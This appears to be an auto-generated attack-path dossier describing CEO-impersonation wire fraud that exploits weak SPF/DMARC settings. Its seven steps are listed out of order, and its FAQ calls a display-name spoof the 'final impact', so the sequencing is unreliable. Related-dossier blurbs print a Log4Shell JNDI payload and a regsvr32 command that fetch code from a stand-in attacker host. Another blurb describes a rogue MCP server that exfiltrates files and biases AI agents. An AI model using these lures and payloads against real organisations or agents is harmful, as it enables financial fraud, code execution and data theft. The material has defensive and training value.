Permissive SPF / DMARC p=none → CEO impersonation BEC

§ Context

Assumed environment: target hasn't moved beyond monitoring-mode email auth. CEO / executive emails are publicly known. AP / finance team handles wire requests without out-of-band callback.

§ Steps

1. 01
   Wire-transfer / gift-card lure to financeInitial Access

   T1566— Phishing
2. 02
   Query SPF + DMARC + DKIM via digReconnaissance

   W-RECON-FINGERPRINT— Tech Stack Fingerprinting
3. 03
   Stand up attacker MTA on rented IPResource Development

   T1583— Acquire Infrastructure
4. 04
   AP processes the fraudulent requestImpact

   SE-BEC-INVOICE— Business Email Compromise — Invoice Fraud
5. 05
   Send From: ceo@target.com via attacker MTAInitial Access

   EM-SPF-BYPASS— SPF Bypass / Misconfig
6. 06
   Note SPF ~all + DMARC p=noneInitial Access

   EM-DMARC-BYPASS— DMARC Bypass (p=none / sub-policy)
7. 07
   Set display-name 'CEO Name'Initial Access

   EM-DISPLAY-SPOOF— Display-Name Spoofing

§ References

• T1566Phishing
• T1583Acquire Infrastructure

§ Frequently asked

What is the "Permissive SPF / DMARC p=none → CEO impersonation BEC" attack path?

Target publishes SPF ~all and DMARC p=none. Send mail from attacker IP with a forged From: <ceo@target.com>; gateway delivers as-is. Combine with display-name spoof for a credible BEC. It chains 7 steps drawn from real-world offensive-security techniques.

What starting position does this attack require?

The first step is Wire-transfer / gift-card lure to finance (T1566) — a initial access primitive. Assumed environment: target hasn't moved beyond monitoring-mode email auth.

What is the final impact of this kill-chain?

The final step lands on Set display-name 'CEO Name' (EM-DISPLAY-SPOOF), which falls under Initial Access. From here, an operator typically pivots into post-exploitation or maintains persistence.

How can defenders detect or prevent this attack?

Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers

• Shared techniques2

  Malicious MCP server → silent supply chain for agent tools

  User installs an MCP server marketed as a useful integration. Every subsequent agent session has the rogue server in scope — its tools log prompts, exfil files, or inject responses to bias the agent.

• Shared techniques2

  Log4Shell (CVE-2021-44228) → RCE → lateral

  Send `${jndi:ldap://attacker/x}` in any logged field (User-Agent / X-Forwarded-For). Vulnerable log4j 2.x resolves the JNDI URL, fetches a Java class from attacker LDAP, runs it as the app user.

• Shared techniques2

  Squiblydoo: regsvr32 → remote SCT execution

  regsvr32.exe /s /n /u /i:http://attacker/x.sct scrobj.dll. AppLocker / SRP often allow regsvr32 because it's signed Microsoft — attacker JS runs in its context.

• Shared techniques2

  Header smuggling → gateway sees vendor, mailbox sees attacker

  Crafted RFC-edge headers cause SPF/DMARC to validate against one From while Outlook renders the other — slips past Microsoft Defender / Proofpoint and lands as a 'verified' message.

• Shared techniques2

  DNS rebinding → access internal router admin from a browser

  Victim visits attacker page. JS opens a connection to attacker.com, which after the first request flips its DNS A record to 192.168.1.1 — subsequent requests now go to the victim's router under the attacker's origin.